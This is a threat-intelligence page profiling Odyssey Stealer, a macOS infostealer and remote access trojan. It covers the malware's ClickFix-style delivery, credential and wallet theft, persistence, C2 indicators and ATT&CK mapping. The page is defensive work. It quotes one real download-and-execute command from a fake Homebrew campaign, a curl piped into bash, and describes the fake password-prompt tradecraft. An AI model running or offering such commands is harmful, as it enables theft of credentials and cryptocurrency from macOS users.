Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
Back to malware
MalwareUsed by 1 actor

Odyssey Stealer

Odyssey Stealer is a macOS-focused information stealer and remote access trojan operated as a Malware-as-a-Service platform with an affiliate model. The content consistently describes it as a rebrand/evolution of Poseidon Stealer, itself forked from Atomic macOS Stealer (AMOS), with substantial shared AppleScript-based tradecraft. It targets Apple macOS systems worldwide and has been observed stealing browser credentials, cookies, autofill data, Keychain contents, Apple Notes, Telegram Desktop data, files from Desktop and Documents, and cryptocurrency wallet data. Reported wallet targeting includes more than 100 browser wallet extensions and numerous desktop wallets such as MetaMask, Phantom, Electrum, Exodus, Atomic, Ledger Live, Trezor Suite, Bitcoin Core, Monero, Wasabi, and Sparrow. Stolen data is commonly compressed into ZIP archives and exfiltrated to attacker infrastructure.

The malware is frequently delivered through social-engineering-driven macOS infection chains, especially paste-and-run / ClickFix-style lures that instruct victims to paste malicious commands into Terminal. Specific delivery themes mentioned in the content include fake Homebrew sites, fake software updates, cracked tools, fraudulent apps, fake ChatGPT desktop app pages, and other spoofed developer-tool or software portals. The content also notes earlier app-based delivery using DMGs and right-click-open Gatekeeper bypass techniques, followed by a shift toward script-based delivery after Apple patched a widely abused Gatekeeper bypass in late 2024.

Operationally, Odyssey relies heavily on AppleScript and shell scripts. Reported behaviors include displaying a fake macOS password prompt and validating the password with dscl . authonly, using the stolen password to access Keychain data, install persistence, and replace legitimate wallet applications. The malware has been described as replacing Ledger and Trezor applications with trojanized versions to intercept credentials and transactions. Persistence is established via randomized LaunchDaemon plist files using launchd, and the RAT component polls command-and-control infrastructure every 60 seconds for commands. Reported RAT capabilities include arbitrary shell execution, reinfection/repeat execution, SOCKS5 proxy enablement, and uninstall functionality. The content also states Odyssey introduced anti-sandboxing / anti-analysis behavior and botnet-style remote execution features.

The malware is associated with a centralized criminal ecosystem. Content attributes the Poseidon/Odyssey lineage to a developer known as Rodrigo4 on the Russian-language XSS forum, and cites Russian-language forum activity, Russian dashboard translations, and the build ID string "xxxblyat" as indicators of Russian-speaking operators or developers. A September 2023 advertisement described centrally hosted infrastructure priced at $3,000 per month for up to 15 affiliates, with affiliates using developer-hosted panels and C2. Researchers identified Odyssey infrastructure through its React-based admin panel and tracked 10 physical C2/MaaS hosts. Reported infrastructure and indicators include IPs 62.60.131[.]230, 62.60.131[.]250, 5.199.166[.]102, 77.90.185[.]24, 185.11.61[.]84, 217.119.139[.]117, 185.93.89[.]62, 185.93.89[.]63, 45.146.130[.]129, and 213.209.159[.]175; domains something0x[.]at, charge0x[.]at, and sdojifsfiudgigfiv[.]to; panel favicon MD5 9108dde25ad958b27f6a97d644775dee; and a shared SOCKS proxy binary SHA256 d254125912d9e9e5c271766bc4f6eea0c296ad2c0cf19d4bd57081d1bf10f044.

Additional high-confidence indicators and distinguishing traits mentioned in the content include Odyssey often using the HTTP header casing buildid and the header username, differences from Atomic in file names, URLs, and curl options, payload distribution URLs following /d/{affiliate}{campaign_id}, polling of /api/v1/bot/actions/{botid}, and exfiltration to /log. One reported fake Homebrew campaign IOC was curl -s http://185[.]93[.]89[.]62/d/vipx69930 | nohup bash &. The content also notes broad geographic targeting, with activity reported initially in the United States, France, and Spain and later across North America, Latin America, Europe, Asia, and Africa.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Rodrigo4

Odyssey, in essence, is a sophisticated variation or updated iteration of the original Poseidon, designed to operate in the post-Gatekeeper bypass era.

via red canary blogredcanary.com
MITRE ATT&CK

Techniques & procedures

29 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583Acquire InfrastructureEvidence1

Affiliates pay for panel access, run their own social engineering campaigns (phishing, malvertising, fake download sites)

Initial Access

3 techniques
T1195.002Compromise Software Supply ChainEvidence1

"Odyssey Stealer ... has been deployed via seemingly legitimate software updates, cracked tools, and fraudulent apps"

T1566PhishingEvidence2

When a user clicks one of these malicious search ads, they go to a legitimate URL that looks exactly like a normal chatgpt.com/s/[unique-id] share link.

T1566.002Spearphishing LinkEvidence1

Iru Threat Intelligence has seen a recent increase in attackers using spoofed Homebrew webpages to get users to download malware.

Execution

6 techniques
T1059Command and Scripting InterpreterEvidence3

Some adversaries have used lures designed specifically for macOS users that encourage the user to open Spotlight, then macOS Terminal to execute malicious commands.

T1059.001PowerShellEvidence1

In most scenarios, once users interact with the Fix or Verify button in the lure, the button will covertly copy an obfuscated PowerShell command to the clipboard and present the user with “verification steps.”

T1059.002AppleScriptEvidence4

Once the fateful paste into a Terminal window took place, the traditional AppleScript stealer code we’ve observed in previous years executed to gather data and exfiltrate.

T1059.004Unix ShellEvidence2

The main payload is obfuscated AppleScript wrapped in a shell script ... do shell script command_payload

T1204User ExecutionEvidence5

The adversary is trying to entice the user into verifying or fixing something by typing a command into a terminal, run dialog box, or PowerShell.

T1204.002Malicious FileEvidence1

This technique closely mirrors recent “ClickFix” social-engineering campaigns, where victims are coerced into pasting attacker-supplied shell commands... The result is a compact and effective initial infection vector.

Persistence

1 technique
T1543.001Launch AgentEvidence1

Persistence with launch daemons: Leveraging macOS’s launchd system—a core service management framework—to ensure the stealer runs automatically after system reboots and maintains its presence on the machine.

Privilege Escalation

1 technique
T1543.001Launch AgentEvidence1

Persistence with launch daemons: Leveraging macOS’s launchd system—a core service management framework—to ensure the stealer runs automatically after system reboots and maintains its presence on the machine.

Stealth

4 techniques
T1027Obfuscated Files or InformationEvidence1

"Aside from continuously modifying its code structure to evade standard blocklists"

T1036MasqueradingEvidence3

adversaries created fake websites that mimic trusted macOS dev tools like Homebrew to spread Odyssey and Atomic Stealer.

T1218System Binary Proxy ExecutionEvidence1

All five clusters rely on a living-off-the-land (LotL) approach, using trusted system tools already present on the operating system to carry out the attack. By routing execution through native utilities like PowerShell or the macOS Terminal, attackers effectively operate outside the reach of most standard browser-based security defenses.

T1497Virtualization/Sandbox EvasionEvidence2

Odyssey Stealer brought with it a host of enhanced capabilities designed specifically to evade detection... These new features included: Anti-sandboxing mechanisms: Tools and logic to detect and avoid execution within analysis environments like virtual machines or emulators.

Credential Access

6 techniques
T1056.003Web Portal CaptureEvidence1

A fake dialog tricks the user into entering their macOS password ... The password is validated against the system using dscl . authonly

T1528Steal Application Access TokenEvidence1

On macOS, this exact trap drops Odyssey Stealer to steal sensitive data.

T1539Steal Web Session CookieEvidence1

Browser Data (Chromium-based): Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Arc, CocCoc Cookies ... Browser Data (Gecko-based): Firefox, Waterfox cookies.sqlite

T1555Credentials from Password StoresEvidence1

The password is validated against the system using dscl . authonly and then used for: Extracting Chrome’s master password from Keychain ... Keychain – Full Keychain database (login.keychain-db)

T1555.001KeychainEvidence1

"...to compromise browser-stored information and the macOS Keychain"

T1555.003Credentials from Web BrowsersEvidence1

"...to compromise browser-stored information and the macOS Keychain"

Discovery

1 technique
T1497Virtualization/Sandbox EvasionEvidence2

Odyssey Stealer brought with it a host of enhanced capabilities designed specifically to evade detection... These new features included: Anti-sandboxing mechanisms: Tools and logic to detect and avoid execution within analysis environments like virtual machines or emulators.

Collection

3 techniques
T1056.003Web Portal CaptureEvidence1

A fake dialog tricks the user into entering their macOS password ... The password is validated against the system using dscl . authonly

T1115Clipboard DataEvidence2

the button will covertly copy an obfuscated PowerShell command to the clipboard and present the user with “verification steps.”

T1560Archive Collected DataEvidence1

Collect data ... Exfiltrate ZIP: Data is zipped and sent to the C2 via POST to /log

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence1

Botnet component: Adding functionality for persistent remote execution and control, indicating a move towards more complex capabilities beyond simple, one-time data exfiltration.

T1090ProxyEvidence1

supporting arbitrary shell execution, reinfection, and a SOCKS5 proxy for tunneling traffic through victim machines ... enablesocks5 Downloads and runs SOCKS5 proxy

T1105Ingress Tool TransferEvidence4

By following the “verification steps,” the user inadvertently runs the command and additional commands will reach out and download malware or tools.

T1219Remote Access ToolsEvidence1

Beyond credential theft, Odyssey operates as a full remote access trojan.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

Red Canary has also observed Odyssey and Atomic differ slightly when it comes to their choice of file names, URLs, and command-line options for exfiltration using curl.

Other

1 technique
T1656ImpersonationEvidence1

ClickFix is a social engineering methodology that lures victims into manually executing malicious commands by masquerading as a necessary technical resolution for fabricated system errors or human-verification prompts.

INDICATORS OF COMPROMISE

IOCs tracked for this family

73 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
36 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
21 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
16 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
ip.v4●●●●●●●●●●●●View more in app17 days ago
domain●●●●●●●●●●●●View more in app25 days ago
hash.md5●●●●●●●●●●●●View more in app25 days ago
domain●●●●●●●●●●●●View more in app26 days ago
cidr.v4●●●●●●●●●●●●View more in app1 month ago
cidr.v4●●●●●●●●●●●●View more in app1 month ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching73

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping29

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.